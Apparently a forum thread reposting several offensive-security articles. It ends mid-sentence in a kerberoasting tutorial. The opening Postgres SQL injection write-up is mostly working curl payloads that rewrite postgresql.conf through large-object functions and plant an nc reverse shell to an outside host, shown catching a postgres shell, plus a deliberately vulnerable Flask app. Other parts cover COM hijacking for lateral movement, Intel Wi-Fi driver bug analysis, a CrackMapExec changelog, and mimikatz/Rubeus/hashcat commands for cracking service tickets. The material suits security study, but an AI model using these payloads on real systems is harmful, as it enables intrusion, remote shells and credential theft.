Total Spent Left Speed 100 2597 100 2597 0 0 507k 0 --:--:-- --:--:-- --:--:-- 634k 9f80a502993d721ee45e2c03c0da66c0 - :~$ md5sum private_passphrase.key 9f80a502993d721ee45e2c03c0da66c0 private_passphrase.key Sweet. As. STEP THREE - UPDATE THE CONFIG FILE Since the config file is already loaded into a large object, we can append the ssl_passphrase_command and ssl_passphrase_command_supports_reload commands to the end of the object. Inserting a # at the right offset will comment out the original private key definition, then we can append the new one at the end. Let’s start by figuring out the comment offset: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done >postgres.conf :~$ grep -b -o ssl_key_file postgres.conf 3968:ssl_key_file :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,3968,'\x23'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" Now we can append the three lines to the config: :~$ wc -c postgres.conf 24193 postgres.conf :~$ I=0; echo -e "ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'\nssl_passphrase_command_supports_reload = on\nssl_passphrase_command = 'bash -c \"test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0\"'" | xxd -p | while read line do echo "curl \"http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,$((24193+$I)),'\x$line'))=%271%27)%20THEN%20name%20ELSE%20note%20END)\""; I=$(($I+30)) done curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24193,'\x73736c5f636572745f66696c65203d20272f7661722f6c69622f706f7374'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" ...snip... curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20pg_typeof(lo_put(16442,24463,'\x6974203027220a'))=%271%27)%20THEN%20name%20ELSE%20note%20END)" After executing the above, we can double check that the object has been updated successfully: :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_largeobject%20where%20loid=''16442''%20ORDER%20BY%20pageno',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" | perl -pe 's/[\r\n]//g; s/<\/data>/\n/g' | perl -pe 's/^.*?<data>(.*?)/$1/g' | while read i; do echo $i | base64 -d; done |grep ssl ssl = on #ssl_ca_file = '' ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem' #ssl_crl_file = '' #sl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' #ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers #ssl_prefer_server_ciphers = on #ssl_ecdh_curve = 'prime256v1' #ssl_dh_params_file = '' #ssl_passphrase_command = '' #ssl_passphrase_command_supports_reload = on ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION' ssl_passphrase_command_supports_reload = on ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"' Fantastic. Moving on. STEP FOUR - WRITE THE FILES OUT TO THE FILESYSTEM This part should be relatively straight forward, use lo_export to spool the files out to the file-system. 16442 is the config OID and 43210 is the private key: :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(16442,'/etc/postgresql/11/main/postgresql.conf')=%271%27)%20THEN%20name%20ELSE%20note%20END)" :~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20(SELECT%20lo_export(43210,'/var/lib/postgresql/11/main/PG_VERSION')=%271%27)%20THEN%20name%20ELSE%20note%20END)" If, like me, you suffer from exploit pessimism, this would be the point where you re-download those files to double check everything is correct. STEP FIVE - EXECUTE! Last step is to issue select pg_reload() and hopefully receive the shell! :~$ curl -s "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_reload_conf()',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_reload_conf>true</pg_reload_conf> </row> " doi@djubre:~$ ncat -vv -k -l -p 8000 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 192.168.122.7. Ncat: Connection from 192.168.122.7:44166. id uid=108(postgres) gid=114(postgres) groups=114(postgres),113(ssl-cert) ls -l total 84 drwx------ 6 postgres postgres 4096 May 1 23:50 base drwx------ 2 postgres postgres 4096 May 4 20:37 global drwx------ 2 postgres postgres 4096 May 1 16:31 pg_commit_ts drwx------ 2 postgres postgres 4096 May 1 16:31 pg_dynshmem drwx------ 4 postgres postgres 4096 May 4 22:56 pg_logical drwx------ 4 postgres postgres 4096 May 1 16:31 pg_multixact drwx------ 2 postgres postgres 4096 May 4 20:36 pg_notify drwx------ 2 postgres postgres 4096 May 1 16:31 pg_replslot drwx------ 2 postgres postgres 4096 May 1 16:31 pg_serial drwx------ 2 postgres postgres 4096 May 1 16:31 pg_snapshots drwx------ 2 postgres postgres 4096 May 4 20:36 pg_stat drwx------ 2 postgres postgres 4096 May 1 16:31 pg_stat_tmp drwx------ 2 postgres postgres 4096 May 1 16:31 pg_subtrans drwx------ 2 postgres postgres 4096 May 1 16:31 pg_tblspc drwx------ 2 postgres postgres 4096 May 1 16:31 pg_twophase -rw------- 1 postgres postgres 1766 May 4 22:48 PG_VERSION drwx------ 3 postgres postgres 4096 May 1 16:31 pg_wal drwx------ 2 postgres postgres 4096 May 1 16:31 pg_xact -rw------- 1 postgres postgres 88 May 1 16:31 postgresql.auto.conf -rw------- 1 postgres postgres 130 May 4 20:36 postmaster.opts -rw------- 1 postgres postgres 108 May 4 20:36 postmaster.pid And the obligatory exploit GIF: SUMMARY So there you have it, a few interesting techniques we used to exploit an SQLi against a Postgres DB, without ever executing ‘CREATE’, ‘INSERT’, or ‘UPDATE’. This exercise was certainly interesting, and digging through Postgres internals to exploit an SQLi was pretty fun. A pull request will be sent to the PayloadsAllTheThings GitHub repo with info on some of these techniques. Happy hacking! APPENDIX - DUMP ALL POSTGRES FUNCTIONS AND FIND THEIR CORRESPONDING METHODS The majority of this post came from dumping all functions available in a default Postgres install and trying to find things that look interested and can be executed by a default DB user. You, too, can dump all the postgres functions using the following SQL: SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name; After finding an interesting function, its usually fairly easy to locate within the source tree. Using lo_import as an example: :~/targets/postgresql-11-11.7/src$ grep -a2 lo_import include/catalog/pg_proc.dat { oid => '764', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text', prosrc => 'be_lo_import' }, { oid => '767', descr => 'large object import', proname => 'lo_import', provolatile => 'v', proparallel => 'u', prorettype => 'oid', proargtypes => 'text oid', prosrc => 'be_lo_import_with_oid' }, { oid => '765', descr => 'large object export', proname => 'lo_export', provolatile => 'v', proparallel => 'u', be_lo_import is the method we’re after, which is defined in backend/libpq/be-fsstubs.c: 386 /* 387 * lo_import - 388 * imports a file as an (inversion) large object. 389 */ 390 Datum 391 be_lo_import(PG_FUNCTION_ARGS) 392 { 393 text *filename = PG_GETARG_TEXT_PP(0); 394 395 PG_RETURN_OID(lo_import_internal(filename, InvalidOid)); 396 } You can look at the proargtypes in pg_proc.dat to get an idea of what input a function expects. APPENDIX - TEST CODE If you want to have a play with these tricks yourself, you can use the following example code. This is a simple Flask app vulnerable to SQL injection that was used to demonstrate the SQLi tricks through this post: # create the DB table with: # CREATE TABLE animals( id serial PRIMARY KEY, name VARCHAR (50) UNIQUE NOT NULL, note VARCHAR (500) NOT NULL, created_on TIMESTAMP NOT NULL); # insert into animals (name, note, created_on) values ('dog', 'is a good dog', now()); # insert into animals (name, note, created_on) values ('cat', 'adorable, if passive aggressive', now()); # insert into animals (name, note, created_on) values ('fish', 'fish go blub', now()); # insert into animals (name, note, created_on) values ('whale', 'also go blub', now()); # insert into animals (name, note, created_on) values ('shrimp', 'also go blub', now()); # insert into animals (name, note, created_on) values ('giraffe', 'long neck, neato spots', now()); # insert into animals (name, note, created_on) values ('rock', 'TICKET 1143 rock is not animal', now()); import psycopg2 from flask import Flask from flask import request from flask import Response app = Flask(__name__) host = "127.0.0.1" port = "5432" dbname = "testdb" user = "testuser" pw = whateveryousetthetestuserpasswordto conn = psycopg2.connect(host=host, port=port, dbname=dbname, user=user, password=pw) cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain') result = result + "<table>" result = result + "<th>id</th>" result = result + "<th>name</th>" result = result + "<th>note</th>" result = result + "<th>created</th>" rows = cur.fetchall() for row in rows: result = result + "<tr>" result = result + "<td>" + str(row[0]) +"</td>" result = result + "<td>" + row[1] + "</td>" result = result + "<td>" + row[2] + "</td>" result = result + "<td>" + row[3].strftime("%d-%b-%Y (%H:%M:%S.%f)") + "</td>" result = result + "</tr>" result = result + "</table>" conn.commit() cur.close() return result if __name__ == "__main__": app.run() Sursa: https://pulsesecurity.co.nz/articles/postgres-sqli
-
COM Hijacking for Lateral Movement MAY 5, 2020 ~ CPLSEC Hey all, This post is about leveraging COM hijacking for lateral movement. I’m going to stay away from deep-diving COM internals as hijacking is not a new topic and has been explored by people far smarter than I, check out the references for awesome COM material. Instead, I’ll be taking a look at how tinkering with the registry and calling a COM object remotely (DCOM) can provide lateral movement options. As a humble net-pen guy, I have to admit I haven’t encountered a target which monitors HKLM\..\CLSID, so I wanted to develop a tool which could explain the importance of doing so. Also, from an offsec standpoint, I like this approach as it provides the ability to live inside a legitimate process without dropping an executable to disk or using one of the “usual suspects” executables to kick off my session. However, there are two risks with using this type of approach: the modifications to the remote registry are clearly malicious and can leave a system in an non-operational state. Furthermore, there are a ton of interesting use cases when tinkering with the AppID registry key as well. For example, setting RunAs to a different value might kick off our C2 session to a context of our choosing (Interactive User or SYSTEM). I’m hoping to explore this in future posts. References James Forshaw https://www.tiraniddo.dev/ OleViewDotNet COM in Sixty Seconds COMProxy by Leoloobeek SwiftOnSecurity’s Sysmon Configuration Abusing DCOM For Yet Another Lateral Movement Technique by bohops COM Hijacking Techniques by David Tulis (NCC Group) Lateral Movement Using MMC20.Application COM Object by Enigma0x3 DCOM_Work In-line with any proof-of-concept coding I do, **use at your own risk**. I do this type of after-hours work to further understand a topic and just become a better coder (I’m not good). Any program which tinkers with the registry can seriously break a system, so you’ve been warned. DCOM_Work does everything possible to revert the registry configuration and permissions, but if the application terminates unexpectedly you might be left with a hung registry value which will impact system operation. In the link below, I’ve also included DCOM_Revert which will try to revert the target registry configuration. However, it wouldn’t hurt to have regedit.exe + remote registry on standby to modify the value if need be. The operational comments of DCOM_Work are pretty self-explanatory; however, there are a few additional comments I would like to make. The mmgaserver module can be touch and go depending on the target OS, especially Server OSes, I’ve had pretty constant success using the Wordpad module. Coming up with new processes to inject into is pretty trivial though. The temp share is configured to permit null share sessions and ANONYMOUS LOGON to host the landing DLL which will be injected into wordpad.exe or mmgaserver.exe. To bypass this requirement, the RunAs registry value in the associated AppID registry key could be set to Interactive User; however, this would introduce a requirement of an active session on the remote target. The landing DLL used in the video was a stripped down version of COMProxy by Leoloobeek. From my experience, calling the intended COM DLL (wordpad -> uiribbon.dll or mmgaserver -> Windows.State.RepositoryPS.dll) provides a more stable injected process. To kick off the DCOM instance, powershell is spawned via CreateProcess which might get flagged by certain security products. There are better ways to approach this but not right now. The following changes will occur remotely on a default Windows 10 system. If the remote registry is disabled and stopped, it will be set to manual_start and started. If the connecting account does not have write access to the target registry key, the built-in administrators group will be made owner and provided write-access. The target value will be changed to the specified DLL path provided in the program arguments – (\\192.168.1.10\temp\GetClassObjectDLL_WordPad.dll). If everything works, the following reversions will be performed after the DCOM instance is created. The target value will be reverted to the starting DLL path obtained during the initial gathering phase of execution (%systemroot%\system32\uiribbon.dll). If the registry permissions were changed, the registry key will be reverted to the original owner (including TrustedInstaller) and the built-in administrators permissions will be set to KEY_READ, the default on Windows 10. If the remote registry settings were changed, it will be reverted to it’s initial start state (disabled, manual_start, auto_start). DCOM_Work Link On the Defensive COM Hijacking is actively employed by adversaries so it’s important to prevent and detect; fortunately for us, this is easy to detect. Employing sysmon with a configuration like SwiftOnSecurity’s example here will do the trick. As we can see in the details, this will never happen during normal operation and is easy to distinguish as malicious. However, it’s important to note that there are quite a few weird and wonderful registry keys under \..\CLSID\{GUID}\, some of which I’m sure could hijack execution, so it’s best to keep dynamic with sysmon configurations. <TargetObject name="T1122" condition="end with">\InprocServer32\(Default)</TargetObject> From a prevention standpoint, this is a bit more tricky but definitely doable. In my home lab the target remote system was running up-to-date Defender which highlights standard AV probably won’t do much (MS or whatever). Applocker DLL rules could restrict UNC paths quite simply, but this is more a band-aid … and honestly, who isn’t driven away by that ominous DLL rules can cause performance issues message. Ultimately, my hope was to have WDAC setup in my home lab but I couldn’t get it done in time. From my understanding, WDAC could have blocked this type of activity. I’m hoping to perform active testing in my lab and come up with a conclusive answer at a later date. Sursa: https://ijustwannared.team/2020/05/05/com-hijacking-for-lateral-movement/
-
ANALYZING A TRIO OF REMOTE CODE EXECUTION BUGS IN INTEL WIRELESS ADAPTERS May 05, 2020 | Vincent Lee SUBSCRIBE Earlier this month, we published three memory corruption bugs (ZDI-20-494, ZDI-20-495, and ZDI-20-496 - collectively referred to as CVE-2020-0558) affecting two Windows Wi-Fi drivers for various Intel dual-band wireless adapters. According to the vendor, these drivers are intended for the AC 7265 Rev D, AC 3168, AC 8265, and AC8260 wireless adapters. Both ZDI-20-494 and ZDI-20-496 are out-of-bounds write vulnerabilities that share a common root cause and reside in both drivers, namely Netwtw04.sys and Netwtw06.sys. ZDI-20-495 is a stack buffer overflow vulnerability that affects the Netwtw06.sys driver only. These bugs were discovered by Haikuo Xie and Ying Wang of Baidu Security Lab and were originally reported to the ZDI at the end of November 2019. You may find a copy of the PoCs for all three vulnerabilities at our GitHub page and poke at them yourself. The PoCs have been tested against the AC 3168 and AC 8260 adapters using the Qualcomm Atheros AR9271-based USB network adapter. All three vulnerabilities require the victim to enable the “Mobile Hotspot” feature. An attacker could exploit these vulnerabilities by simply connecting to the wireless network with malicious 802.11 MAC frames without knowing the password for the mobile hotspot. ZDI-20-495 This stack-buffer overflow vulnerability exists in the Netwtw06.sys driver. The PoC sends four 802.11 MAC frames to the victim mobile hotspot, triggering a BSOD on the victim machine. The cause of the vulnerability is straightforward. An overly long SSID is passed to a vulnerable function through the Tag-length-value encoded information element tagged-parameter located within an 802.11 association request frame body. Below is the dissection of the malicious frame, as generated with the Scapy utility: View fullsize Figure 1 - Packet dissection of the malicious 802.11 Frame In the above diagram, we can see the information element with the ID 0x00, which corresponds to the SSID, has a length of 55 bytes. The long SSID string follows. The vulnerable function, prvhPanClientSaveAssocResp(), copies the SSID into a fixed-length stack buffer through memcpy_s() with an incorrect DstSize parameter. Instead of the destination buffer size, it supplies the attacker-provided SSID length. Below is a disassembly code snippet of the prvhPanClientSaveAssocResp() function taken from version 20.70.13.2 of the driver. View fullsize Figure 2 - Disassembly of the vulnerable function prvhPanClientSaveAssocResp() At 0x1403A7F5C, r8 points to the start of the SSID information element. At 0x1403A7F66, the attacker provided SSID length (55) is passed to DstSize, and this value is later passed into MaxCount as well. Passing the SSID length in this manner defeats the security of memcpy_s() and is the essence of this vulnerability. If we look further up the disassembly, we can see the stack buffer, var_4C, is 36 bytes long only: View fullsize Figure 3 - Stack buffer var_4C When memcpy_s() proceeds to copy the attacker-controlled buffer into the undersized stack buffer variable, a buffer overflow condition occurs. ZDI-20-494 and ZDI-20-496 Since these two vulnerabilities share the same root cause, we will discuss ZDI-20-494 only. An out-of-bounds write vulnerability exists within the processing of association request frames. In order to reach the vulnerable code path, the attacker must first send an authentication request[1] before sending the malicious association request. The attacker sends an association request frame containing an information element with the ID of 59 (0x3B), which corresponds to Supported Operational Classes. The value of the information element consists of 221 null bytes. A frame dissection of the request follows: View fullsize Figure 4 - Packet dissection of the malicious association request sent by the PoC The driver calls two functions to handle the information element: prvPanCnctProcessAssocSupportedChannelList() and utilRegulatoryClassToChannelList(). In the handling of the malicious request, prvPanCnctProcessAssocSupportedChannelList() attempts to call the function utilRegulatoryClassToChannelList() 221 times, corresponding to the information element length. Below is a disassembly code snippet of the prvPanCnctProcessAssocSupportedChannelList() function taken from version 19.51.23.1 of the Netwtw04.sys driver: View fullsize Figure 5 - Disassembly snippet of prvPanCnctProcessAssocSupportedChannelList () At 0x140388500, the ebx loop index is initialized to 0. The loop exit condition at 0x1403885AF compares the loop index ebx with the information element length stored in the eax register from four instructions prior[2]. The utilRegulatoryClassToChannelList() function is called within the loop body at 0x140388559. The third argument to the function is a memory buffer address passed through the r8 register, which is the address of the buffer affected by this out-of-bounds write vulnerability. Also note that at 0x14088502, the first DWORD of the buffer is initialized to zero. The utilRegulatoryClassToChannelList() function reads the first DWORD of the buffer from the vulnerable buffer as an index and uses it as an offset to write 0xFF bytes of data to itself. This occurs every time the function is called. Due to a lack of bounds checking, it is possible for the index to point to memory regions beyond the end of the buffer when this function is called repeatedly. View fullsize Figure 6 - Disassembly of utilRegulatoryClassToChannelList() At 0x1400D06A8, the vulnerable buffer from the third argument is transferred to the rbx register. At 0x140D068F, the loop index edi is initialized to 0 prior to entering the loop body. This will iterate for 0xFF times. In the basic block starting from 0x140D0718, the first DWORD from the buffer is read and stored in the eax register. This value is immediately used as an offset to the vulnerable buffer and a byte is written to it. At 0x1004D0729, the first DWORD of the vulnerable buffer is incremented. An out-of-bounds write condition occurs when the utilRegulatoryClassToChannelList() function is called more than two times. Conclusion Although the triggering conditions for these bugs are quite rare, it is still very interesting to see bugs in the data link layer to come through our program. While there have been a few talks on fuzzing the information element, we are not seeing many analyses and discoveries of Wi-Fi-based bugs. The IEEE 802.11 family of wireless technology standards offer a vast attack surface, and the vulnerability researcher community has barely begun to scrutinize the protocol. A good driver bug from this attack vector gives direct access to the kernel. When compared to web browser-based attacks, which require multiple bugs and sandbox escapes, the Wi-Fi attack vector could be an interesting alternate vector for attackers to consider. For those interested in learning more about the IEEE 802.11 family of standards, 802.11 Wireless Networks: The Definitive Guide written by Matthew S. Gast is a great resource to start your learning. You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches. Footnotes [1] An authentication request is not to be confused with the Robust Security Network, also known as RSN or WPA2, standard defined in IEEE 802.11i-2004. An authentication request is a low-level “authentication” that provides no meaningful network security. It is better to think of this as a station identifying itself to the network. [2] Since the index starts from zero, eax is decremented once prior to comparison to avoid an off-by-one mistake. This looks like a for-loop was converted into a do-while loop at compile time. Such conversions are often done to reduce the number of jump instructions and to reduce the loop overhead. For those interested in learning more about loop optimization, consider reading section 12 of Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog. Sursa: https://www.zerodayinitiative.com/blog/2020/5/4/analyzing-a-trio-of-remote-code-execution-bugs-in-intel-wireless-adapters
-
CrackMapExec v5.0.2dev 💫 Features 💫 CME accepts a file as argument with option -x and -X WinRM can now execute a command even if not local admin thanks to pypsrp lib Kerberos support is added to CME 💥 commands --put-file and --get-file have been added allowing to put or get remote file option --no-bruteforce has been added allowing you to spray credentials without bruteforce CME will now always show FQDN 👮 🔧 Issues 🔧 Issues with SSH connection are fixed MSSQL and WinRM protocoles have been updated allowing connections even if SMB is not open Fix some encoding problems as always 💩 LSASSY module output has been improved when no credentials are found thanks to @Hackndo encoding problem with GPP_PASSWORD and GPP_AUTOLOGIN should be fixed 🚀 Modules 🚀 both Metasploit and empire modules are back in the game module wireless has been added to CME module bh_owned has been added by @Hackndo allowing to send credentials from CME to bloodhound to mark a computer as owned 🐩 Also, thank you all for the support ! 💪 Assets6 cme-macOS-latest.zip46.7 MB cme-ubuntu-latest.zip53.2 MB cmedb-macOS-latest.zip46.7 MB cmedb-ubuntu-latest.zip53.2 MB Source code(zip) Source code(tar.gz) Sursa: https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.2dev
-
Deep Dive into Kerberoasting Attack posted inRED TEAMING on MAY 5, 2020 by RAJ CHANDEL SHARE In this article, we will discuss kerberoasting attacks and other multiple methods of abusing Kerberos authentication. But before that, you need to understand how Kerberos authentication works between client-server communication. “Kerberos is for authentication not for authorization, this lacuna allows kerberoasting” Table of Content SECTION A: Kerberos Authentication Flow Kerberos & its Major Components Kerberos Workflow using Messages SECTION B: Service Principle Name SPN Service Principle Name SPN Important Points The SPN syntax has four elements Type of SPN SECTION 😄 Kerberoasting Attack Walkthrough What is Kerberoasting Kerberoasting Major Steps PART 1: OLD Kerberoasting Procedure on Host System Powershell Script Mimikatz PART 2: NEW Kerberoasting Procedure on Host System Rubeus.exe ps1 Powershell Script PART 3: OLD Kerberoasting Procedure on Remote System Powershell Empire Metasploit PART 4: NEW Kerberoasting Procedure on Remote System PowerShell Empire Metasploit Impacket SECTION A: Kerberos Authentication Flow Table of Content Kerberos & its major Components Kerberos Workflow using Messages KERBEROS & its Major Components The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit these tickets to application servers when connections are established. It uses UDP port 88 by default and depends on the process of symmetric key cryptography. “Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”. There are some key components in Kerberos authentication that play a crucial role in the entire authentication process. Kerberos Workflow using Messages In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain. The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above. As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes: BLUE _KEY: User NTLM HASH YELLOW_KEY: Krbtgt NTLM HASH RED_KEY: Service NTLM HASH Step 1: By sending the request message to KDC, client initializes communication as: KRB_AS_REQ contains the following: Username of the client to be authenticated. The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account An encrypted timestamp (Locked with User Hash: Blue Key) The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks. Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification. Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash. KRB_AS_REP contains the following: Username Some encrypted data, (Locked with User Hash: Blue Key) that contains: Session key The expiration date of TGT TGT, (Locked with Krbtgt Hash: Yellow Key) which contains: Username Session key The expiration date of TGT PAC with user privileges, signed by KDC Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC. KRB_TGS_REQ contains: Encrypted data with the session key Username Timestamp TGT SPN of requested service e.g. SQL service Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash. KRB_TGS_REP contains: Username Encrypted data with the session key: Service session key The expiration date of TGS TGS, (Service Hash: RED Key) which contains: Service session key Username The expiration date of TGS PAC with user privileges, signed by KDC Step 5: The user sent the copy of TGS to the Application Server, KRB_AP_REQ contains: TGS Encrypted data with the service session key: Username Timestamp, to avoid replay attacks Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case. Step 7: KDC verifies PAC (Optional) Step 8: Allow the user to access the service for a specific time. SECTION B: Service Principle Name SPN Table of Content Service Principle Name SPN Important Points The SPN syntax has four elements Type of SPN Service Principle Name The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service. Important Points If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN. Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account. A given SPN can be registered on only one account. An SPN must be unique in the forest in which it is registered. If it is not unique, authentication will fail. The SPN syntax has four elements Type of SPN: Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks SPNs that have been associated with a domain user account where NTLM hash will be used. Section 😄 Kerberoasting Attack Walkthrough Table of Content What is Kerberoasting? Kerberoasting Major Steps PART 1: OLD Kerberoasting Procedure on Host System Powershell Script Mimikatz PART 2: NEW Kerberoasting Procedure on Host System Rubesus.exe ps1 Powershell Script PART 3: OLD Kerberoasting Procedure on Remote System Powershell Empire Metasploit PART 4: NEW Kerberoasting Procedure on Remote System PowerShell Empire Metasploit Impacket What is Kerberoasting? Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password. As explained above, the Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service. An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account. Kerberoasting Major Steps This attack is multiple steps process as given below: Step 0: Access the Client system of the domain network by Hook or Crook. Step 1: Discover or scan the registered SPN. Step 2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool. Step 3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario) Step 4: Convert the .kirbi or ccache file into a crackable format Step 5: Use a dictionary for the brute force attack. We have attack categories such as OLD or NEW kerberoasting on the Host or Remote system. OLD Procedure: These are techniques where multiple kerberoasting steps are performed. NEW Procedure: These are single-step techniques used for kerberoasting. PART 1: OLD Kerberoasting Procedure on Host System Method 1: Powershell Script Step 1: SPN Discover Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here on the host machine. These scripts will discover the SPN and save the output in CSV format. 1 2 3 4 Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts Another powershell script “GetUserSPns .ps1” Download it from here it will Query the domain to discover the SPNs that use User accounts as you can observe that we have found SPN name with the help of followed command. 1 .\GetUserSPns .ps1 Import the module in the powershell run the said command here I have enumerated SPN for SQL Service. Step 2: Extract & Dump TGS_ticket & Obtain Hash Here, I try to extract the KRB_TGS from inside the host memory with the help of another PowerShell script called “TGSCipher.ps1” which you can download from here and simultaneously convert the request output it into John format. 1 Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John As a result, we obtain the HASH string for the SQL Service. Step 3: Brute Force HASH Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command. 1 john --wordlist=/usr/share/wordlists/rockyou.txt hashes Boom! Boom!!! And we’ve made a successful kerberoasting attack by obtaining a password for the SQL service. Method 2: Mimikatz Similarly, you can use mimikatz for the entire attack which means it can be used for SPN discovery and dumping the TGS ticket. Step 1: SPN Discovery Download and execute the mimikatz & run Kerberos::list command for SPN discovery. 1 2 ./mimikatz.exe kerberos::list Step 2: Dump TGS ticket Run the export command for extracting the ticket named contains .kirbi extension. 1 kerberos::list /export Step 3: Convert the Kirbi to Hash & Brute Force Hash I renamed the obtain file name as “1-40a5000…..kirbi” into “raj.kirbi” and again convert raj.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “kirbihash”; then use john for brute force as done in 1st Method. 1 2 3 mv "1-40a5000…..kirbi" "raj.kirbi" /usr/share/john/kirbi2john.py raj.kirbi > kirbihash john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash PART 2: NEW Kerberoasting Procedure on Host System Method 1: Rubeus.exe Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Rebeus.exe is a terrific tool as it comes with a kerberoast module that discovers SPN, extracts TGS, and dump service Hash, which can be done with the help of the following command. 1 ./Rubeus.exe kerberoast /outfile:hash.txt Step 2: Brute Force Hash So, we have saved the service hash in the text file “hash.txt” and use a dictionary to brute force the hash and extract the service password using hashcat tool. 1 hashcat -m 13100 --force -a 0 hash.txt dict.txt As a result, you can observe that we have extracted the password of the service. Method 2: Kerberoast PowerShell Script Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Kerberoast.ps1 is a PowerShell script which is as similar above module, you can download it from here, it discovers the SPN, extract TGS and 